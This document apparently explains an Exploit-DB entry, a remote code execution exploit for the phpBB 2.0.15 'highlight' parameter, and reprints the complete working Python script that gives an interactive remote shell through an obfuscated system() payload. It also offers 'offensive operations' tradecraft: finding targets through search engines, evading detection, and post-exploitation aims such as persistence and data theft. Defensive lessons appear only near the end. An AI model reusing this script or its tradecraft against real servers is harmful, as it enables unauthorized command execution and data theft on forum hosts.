phpBB 2.0.15 'highlight' Parameter Remote Code Execution Explained

phpBB 2.0.15 'highlight' Parameter Remote Code Execution Explained
What this paper is
This paper details a vulnerability in phpBB version 2.0.15 that allows an attacker to execute arbitrary commands on the web server. The exploit leverages the highlight parameter within the viewtopic.php script. The provided Python script acts as a client to interact with the vulnerable forum, allowing the attacker to input commands and receive their output, effectively creating a remote shell.
Simple technical breakdown
The vulnerability lies in how phpBB 2.0.15 processes the highlight parameter. When this parameter is used in a specific way, it can be tricked into executing PHP code. The exploit crafts a URL that includes a specially formatted highlight parameter. This parameter contains PHP code that:
- Prints a unique starting tag (
<g0>). - Executes a command provided by the attacker using the
system()function. - Prints a unique ending tag (
</g0>).
The script then sends this crafted URL to the vulnerable phpBB instance. The server processes the highlight parameter, executes the embedded command, and returns the output, enclosed by the start and end tags. The Python script captures this output, extracts the command's result between the tags, and displays it to the attacker.
Complete code and payload walkthrough
The provided Python script is designed to exploit the phpBB 2.0.15 vulnerability. Let's break down its components:
#!/usr/bin/pyth0n
#
############################################################### this exploit for
# phpBB 2.0.15
print "\nphpBB 2.0.15 arbitrary command execution eXploit"
print " 2005 by rattle@awarenetwork.org"
print " well, just because there is none."- Shebang and Comments:
#!/usr/bin/pyth0nindicates the script should be run with Python. The comments explain the target version (phpBB 2.0.15) and the exploit's purpose: arbitrary command execution. It also mentions that it emulates a shell.
import sys
from urllib2 import Request, urlopen
from urlparse import urlparse, urlunparse
from urllib import quote as quote_plus- Imports:
sys: Used for command-line arguments and exiting the script.urllib2: For making HTTP requests (Request,urlopen).urlparse,urlunparse: For manipulating URLs.urllib.quote: To URL-encode strings, specificallyquote_pluswhich is used for encoding spaces as+.
INITTAG = '<g0>'
ENDTAG = '</g0>'- Tags: These are simple string constants used as delimiters to identify the output of the executed command within the HTTP response.
def makecmd(cmd):
return reduce(lambda x,y: x+'.chr(%d)'%ord(y),cmd[1:],'chr(%d)'%ord(cmd[0]))makecmd(cmd)function:- Purpose: This function takes a plain string command and converts it into a PHP-executable string that uses
chr()to build the command character by character. This is a common technique to bypass simple string filtering or to obfuscate the payload. - Inputs:
cmd(a string representing the command to be executed). - Behavior:
- It takes the first character of the command (
cmd[0]) and creates achr(ord(cmd[0]))string. - It then iterates through the rest of the command's characters (
cmd[1:]). For each charactery, it appends.chr(%d)%ord(y)to the growing string. - The
reducefunction applies this lambda function cumulatively to the items of the sequence.
- It takes the first character of the command (
- Output: A string that, when evaluated in PHP, reconstructs the original command string. For example,
makecmd("ls")would return'chr(108).chr(115)'.
- Purpose: This function takes a plain string command and converts it into a PHP-executable string that uses
_ex = "%sviewtopic.php?t=%s&highlight=%%27."
_ex += "printf(" + makecmd(INITTAG) + ").system(%s)."
_ex += "printf(" + makecmd(ENDTAG) + ").%%27"_exvariable (Exploit String Template):Purpose: This defines the core exploit payload template. It's a format string that will be used to construct the malicious URL.
Breakdown:
"%sviewtopic.php?t=%s&highlight=%%27.": This part constructs the beginning of the URL.%s: Placeholder for the forum URL.viewtopic.php?t=%s: Targets theviewtopic.phpscript and uses a topic ID.&highlight=: Specifies the vulnerable parameter.%%27.: This is crucial.%%becomes a literal%, so%%27becomes%27, which is the URL-encoded representation of a single quote ('). The dot (.) is important for string concatenation in PHP. So, this part effectively becomeshighlight=%27.which starts a PHP string literal and then a concatenation.
"printf(" + makecmd(INITTAG) + ").system(%s).": This is the core of the RCE.printf(: PHP function to output a string.makecmd(INITTAG): Calls themakecmdfunction to convert theINITTAG(<g0>) into a PHPchr()string. This will print the start tag.).system(%s).: This is where the command execution happens.): Closes theprintffunction..: Concatenates strings in PHP.system(%s): Thesystem()function in PHP executes a command and outputs its result. The%shere is a placeholder for the actual command to be executed, which will be provided by the attacker..: Concatenates strings.
printf(: Anotherprintfcall.makecmd(ENDTAG): Converts theENDTAG(</g0>) into a PHPchr()string. This will print the end tag.).: Closes theprintffunction and concatenates.
"%%27": This closes the PHP string literal that was opened with%27.. The%%27becomes%27, which is the closing single quote.
Overall structure: The exploit constructs a URL that looks something like this (after URL decoding and PHP interpretation):
http://[forum]/viewtopic.php?t=[topic_id]&highlight=' . printf(chr(60).chr(103).chr(48).chr(62)).system('attacker_command').printf(chr(60).chr(47).chr(103).chr(48).chr(62)).'How it works:
- The
highlightparameter is interpreted by PHP. - The string
' . printf(INITTAG) . system(CMD) . printf(ENDTAG) . 'is evaluated. printf(INITTAG)prints the start tag.system(CMD)executes the attacker's command and its output is sent to the browser.printf(ENDTAG)prints the end tag.- The final
'closes the string.
- The
def usage():
print """Usage: %s <forum> <topic>
forum - fully qualified url to the forum
example: http://www.host.com/phpBB/
topic - ID of an existing topic. Well you
will have to check yourself.
"""[:-1] % sys.argv[0]; sys.exit(1)usage()function:- Purpose: Displays help information if the script is not used correctly.
- Behavior: Prints the usage instructions and exits the script with a status code of 1.
[:-1]: This slicing removes the last newline character from the docstring, preventing an extra blank line in the output.
if __name__ == '__main__':
if len(sys.argv) < 3 or not sys.argv[2].isdigit():
usage()
else:
print
url = sys.argv[1]
if url.count("://") == 0:
url = "http://" + url
url = list(urlparse(url))
host = url[1]
if not host: usage()
if not url[0]: url[0] = 'http'
if not url[2]: url[2] = '/'
url[3] = url[4] = url[5] = ''
url = urlunparse(url)
if url[-1] != '/': url += '/'
topic = quote_plus((sys.argv[2]))- Main execution block (
if __name__ == '__main__':):- Argument Check: It checks if at least two command-line arguments are provided (
sys.argv[1]for forum URL,sys.argv[2]for topic ID) and if the topic ID is a digit. If not, it callsusage(). - URL Processing:
url = sys.argv[1]: Gets the forum URL from the first argument.if url.count("://") == 0: url = "http://" + url: Addshttp://if it's missing.url = list(urlparse(url)): Parses the URL into its components (scheme, netloc, path, etc.) and converts it to a list for easier modification.host = url[1]: Extracts the hostname. If no host is found, it callsusage().if not url[0]: url[0] = 'http': Ensures a scheme is present.if not url[2]: url[2] = '/': Ensures a path is present.url[3] = url[4] = url[5] = '': Clears query, fragment, and username/password components, as they are not needed for this exploit.url = urlunparse(url): Reconstructs the URL from the modified list.if url[-1] != '/': url += '/': Ensures the URL ends with a trailing slash.
- Topic ID Encoding:
topic = quote_plus((sys.argv[2])): URL-encodes the topic ID usingquote_plus(which encodes spaces as+). This is important because topic IDs might contain characters that need encoding.
- Argument Check: It checks if at least two command-line arguments are provided (
while 1:
try:
cmd = raw_input("[%s]$ " % host).strip()
if cmd[-1]==';': cmd=cmd[:-1]
if (cmd == "exit"): break
else: cmd = makecmd(cmd)
out = _ex % (url,topic,cmd)
try: ret = urlopen(Request(out)).read()
except KeyboardInterrupt: continue
except: pass
else:
ret = ret.split(INITTAG,1)
if len(ret)>1: ret = ret[1].split(ENDTAG,1)
if len(ret)>1:
ret = ret[0].strip();
if ret: print ret
continue;
print "EXPLOIT FAILED"
except:
continue- Interactive Shell Loop (
while 1:):- Command Input:
cmd = raw_input("[%s]$ " % host).strip(): Prompts the user for a command, displaying the host.strip()removes leading/trailing whitespace.if cmd[-1]==';': cmd=cmd[:-1]: Removes a trailing semicolon if present, as themakecmdfunction will handle command construction.
- Exit Condition:
if (cmd == "exit"): break: If the user types "exit", the loop breaks.
- Command Preparation:
else: cmd = makecmd(cmd): If not exiting, the command is passed tomakecmdto be converted into the PHPchr()format.
- Exploit URL Construction:
out = _ex % (url,topic,cmd): The_extemplate is formatted with the processed URL, topic ID, and the prepared command.
- HTTP Request and Response Handling:
try...except KeyboardInterrupt: continue: Allows the user to interrupt theurlopencall (e.g., with Ctrl+C) and continue the loop.except: pass: Catches other potential exceptions duringurlopenand silently continues the loop. This is a broad exception handler.else:: Thiselseblock executes if thetryblock completes without raising an exception.ret = ret.split(INITTAG,1): Splits the response by theINITTAG. If successful,retwill be a list of two parts: the content before the tag and the content after.if len(ret)>1: ret = ret[1].split(ENDTAG,1): If the first split was successful, it splits the second part by theENDTAG.if len(ret)>1:: If both splits were successful,retnow contains the output between the tags.ret = ret[0].strip(): Takes the first element (the command output) and removes whitespace.if ret: print ret: If there's any output, print it.continue: Proceeds to the next iteration of thewhileloop.
- Failure Indication:
print "EXPLOIT FAILED": If the output parsing fails (i.e., the tags are not found or the response structure is unexpected), this message is printed.
- General Exception Handling:
except: continue: A broadexceptblock catches any other unexpected errors within the loop and continues to the next iteration.
- Command Input:
Code Fragment/Block -> Practical Purpose Mapping:
#!/usr/bin/pyth0n: Script interpreter.print "\nphpBB 2.0.15 arbitrary command execution eXploit": Informational banner.import sys,urllib2,urlparse,urllib: Standard Python libraries for network operations and URL manipulation.INITTAG = '<g0>',ENDTAG = '</g0>': Delimiters for extracting command output.makecmd(cmd)function: Converts a string command into a PHPchr()sequence for obfuscation/payload construction._exvariable: The core exploit template string, defining the malicious URL structure.usage()function: Displays help text and exits if arguments are incorrect.if __name__ == '__main__':: Entry point for script execution.- Argument parsing and URL normalization: Prepares the target URL and topic ID.
while 1:loop: Creates an interactive shell for sending commands.raw_input("[%s]$ " % host).strip(): Gets user command input.if (cmd == "exit"): break: Allows the user to exit the shell.cmd = makecmd(cmd): Prepares the user's command for the exploit.out = _ex % (url,topic,cmd): Constructs the final malicious URL.urlopen(Request(out)).read(): Sends the exploit URL to the server and fetches the response.ret.split(INITTAG,1),ret.split(ENDTAG,1): Parses the server's response to extract the command output.if ret: print ret: Displays the extracted command output to the user.print "EXPLOIT FAILED": Indicates that the exploit did not yield the expected output.
Practical details for offensive operations teams
- Required Access Level: No special privileges are required on the target system itself. The exploit targets a web application accessible via HTTP/HTTPS. The attacker needs network access to the web server.
- Lab Preconditions:
- A running instance of phpBB version 2.0.15 (or a version with the same vulnerability).
- A web server configured to serve the phpBB application.
- An existing topic within the phpBB forum to target.
- The attacker's machine needs Python installed with the standard libraries used (
urllib2,urlparse,urllib).
- Tooling Assumptions:
- The provided Python script is the primary tool.
- A web browser can be used to verify the phpBB version or to find a valid topic ID.
- Basic network connectivity tools (like
ping,traceroute) might be useful for initial reconnaissance.
- Execution Pitfalls:
- Incorrect phpBB Version: The exploit is specific to 2.0.15. Newer versions or older versions might not be vulnerable.
- Invalid Topic ID: If the specified topic ID does not exist, the
viewtopic.phpscript might not execute the payload as expected, or it might return an error page. - Web Application Firewall (WAF): A WAF might detect the unusual URL structure or the
system()call within thehighlightparameter and block the request. - URL Encoding Issues: While
quote_plusis used, complex commands or unusual characters might require further encoding or different encoding schemes. Themakecmdfunction helps with this for the command itself. - Server-Side Filtering: Some server configurations or PHP settings might filter or sanitize input in ways that prevent the
system()function from being called or thehighlightparameter from being processed as expected. - Response Parsing Failures: If the server's response is significantly different from what's expected (e.g., due to errors, redirects, or different HTML structures), the exploit might fail to extract the output.
- Network Latency/Timeouts: Long-running commands might cause the HTTP request to time out before the server can fully process and respond.
- Tradecraft Considerations:
- Reconnaissance: Identify the target phpBB version. This is critical. Look for version banners, specific file paths, or known vulnerabilities for that version.
- Topic Discovery: Find a valid topic ID. This might involve browsing the forum or using search engines with specific queries (e.g.,
site:target.com "phpBB" "viewtopic.php?t="). - Payload Obfuscation: The
makecmdfunction provides basic obfuscation. For more advanced scenarios, consider further encoding or using different PHP functions ifsystem()is blocked. - Stealth: The exploit relies on GET requests with a long URL. This can be noisy. Consider using POST requests if possible (though this exploit is designed for GET) or other methods if available. The
highlightparameter itself is not inherently suspicious, but its content is. - Post-Exploitation: Once command execution is achieved, the immediate goal is usually to establish persistence, escalate privileges, or exfiltrate data. The output from the
system()call is limited to what can be printed to standard output. For larger data transfers, a more sophisticated payload (like a reverse shell) would be needed. - Error Handling: The script's error handling is basic. In a real engagement, more robust error checking and logging would be beneficial.
Where this was used and when
- Context: This exploit targets the phpBB forum software, a popular open-source bulletin board system. The vulnerability was discovered and published in 2005.
- Usage: Exploits like this would have been used by attackers to gain unauthorized access to web servers hosting phpBB 2.0.15 instances. This could lead to defacement, data theft (user credentials, private messages), or using the compromised server for further malicious activities (e.g., hosting malware, sending spam).
- Timeframe: Primarily relevant in 2005 and shortly thereafter, until phpBB 2.0.15 instances were patched or upgraded. It's unlikely to be effective against modern, updated phpBB installations.
Defensive lessons for modern teams
- Patch Management: The most critical lesson is the importance of timely patching. phpBB 2.0.15 is an ancient version. Keeping all software, especially web applications and their dependencies, up-to-date is paramount.
- Input Validation and Sanitization: Web application developers must rigorously validate and sanitize all user-supplied input. The
highlightparameter in this case was not properly sanitized, allowing arbitrary code execution. Modern frameworks often provide built-in tools for this. - Secure Coding Practices: Avoid using functions like
system(),exec(),passthru(),shell_exec()with user-controlled input. If such functions are unavoidable, ensure input is extremely well-validated and escaped. - Web Application Firewalls (WAFs): WAFs can help detect and block known attack patterns, including attempts to inject code into URL parameters. However, they are not a silver bullet and can be bypassed.
- Least Privilege: Web server processes should run with the minimum necessary privileges. This limits the damage an attacker can do even if they achieve code execution.
- Monitoring and Logging: Implement robust logging for web server access and application events. Monitor logs for suspicious activity, such as unusually long URLs, unexpected parameters, or repeated requests to vulnerable scripts.
- Dependency Management: Be aware of the versions of all components used by your web applications, including the web server software, PHP itself, and any libraries or frameworks.
ASCII visual (if applicable)
This exploit's flow can be visualized as a client-server interaction where the client crafts a malicious request.
+-----------------+ Crafted URL +-----------------+
| Attacker Client | ----------------------> | Vulnerable Host |
| (Python Script) | | (phpBB 2.0.15) |
+-----------------+ +--------+--------+
^ |
| Command Output (between tags) | Processes highlight param
| | Executes system(cmd)
+----------------------------------------------+Source references
- Paper URL: https://www.exploit-db.com/papers/1076
- Raw Exploit URL: https://www.exploit-db.com/raw/1076
Original Exploit-DB Content (Verbatim)
# tested and working /str0ke
#!/usr/bin/pyth0n
#
############################################################### this exploit for
# phpBB 2.0.15
print "\nphpBB 2.0.15 arbitrary command execution eXploit" # emulates a shell,
print " 2005 by rattle@awarenetwork.org" # rather than
print " well, just because there is none." # sending a single
# command.
import sys ####
from urllib2 import Request, urlopen
from urlparse import urlparse, urlunparse
from urllib import quote as quote_plus
INITTAG = '<g0>'
ENDTAG = '</g0>'
def makecmd(cmd):
return reduce(lambda x,y: x+'.chr(%d)'%ord(y),cmd[1:],'chr(%d)'%ord(cmd[0]))
_ex = "%sviewtopic.php?t=%s&highlight=%%27."
_ex += "printf(" + makecmd(INITTAG) + ").system(%s)."
_ex += "printf(" + makecmd(ENDTAG) + ").%%27"
def usage():
print """Usage: %s <forum> <topic>
forum - fully qualified url to the forum
example: http://www.host.com/phpBB/
topic - ID of an existing topic. Well you
will have to check yourself.
"""[:-1] % sys.argv[0]; sys.exit(1)
if __name__ == '__main__':
if len(sys.argv) < 3 or not sys.argv[2].isdigit():
usage()
else:
print
url = sys.argv[1]
if url.count("://") == 0:
url = "http://" + url
url = list(urlparse(url))
host = url[1]
if not host: usage()
if not url[0]: url[0] = 'http'
if not url[2]: url[2] = '/'
url[3] = url[4] = url[5] = ''
url = urlunparse(url)
if url[-1] != '/': url += '/'
topic = quote_plus((sys.argv[2]))
while 1:
try:
cmd = raw_input("[%s]$ " % host).strip()
if cmd[-1]==';': cmd=cmd[:-1]
if (cmd == "exit"): break
else: cmd = makecmd(cmd)
out = _ex % (url,topic,cmd)
try: ret = urlopen(Request(out)).read()
except KeyboardInterrupt: continue
except: pass
else:
ret = ret.split(INITTAG,1)
if len(ret)>1: ret = ret[1].split(ENDTAG,1)
if len(ret)>1:
ret = ret[0].strip();
if ret: print ret
continue;
print "EXPLOIT FAILED"
except:
continue
# milw0rm.com [2005-06-29]